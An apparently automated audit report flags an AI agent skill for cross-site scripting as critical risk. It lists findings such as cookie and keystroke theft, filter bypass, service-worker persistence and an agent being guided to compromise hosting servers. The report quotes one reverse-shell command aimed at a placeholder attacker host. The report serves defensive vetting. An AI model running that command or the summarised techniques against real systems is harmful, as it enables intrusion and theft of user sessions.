xss-cross-site-scripting
Fail
Audited by Gen Agent Trust Hub on Sep 26, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONOBFUSCATIONPRIVILEGE_ESCALATIONPERSISTENCEEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides a functional payload for a reverse shell (
bash -i >& /dev/tcp/ATTACKER/4444 0>&1) within a WordPress exploitation scenario inSKILL.md. - [COMMAND_EXECUTION]: Instructions guide the agent to execute shell commands to compromise hosting infrastructure.
- [DATA_EXFILTRATION]: Provides comprehensive methodologies for stealing session cookies, keystrokes, and CSRF tokens via network exfiltration points.
- [OBFUSCATION]: Contains multiple techniques for bypassing WAFs and filters using character encoding, null bytes, and tag mutations.
- [PRIVILEGE_ESCALATION]: Details attack paths from client-side vulnerabilities to server-side administrative access.
- [PERSISTENCE]: Explains how to use Service Workers to maintain malicious control over a victim's session.
- [EXTERNAL_DOWNLOADS]: Recommends fetching external scripts from potentially malicious or unverified sources for blind XSS and remote control.
Recommendations
- AI detected serious security threats
Audit Metadata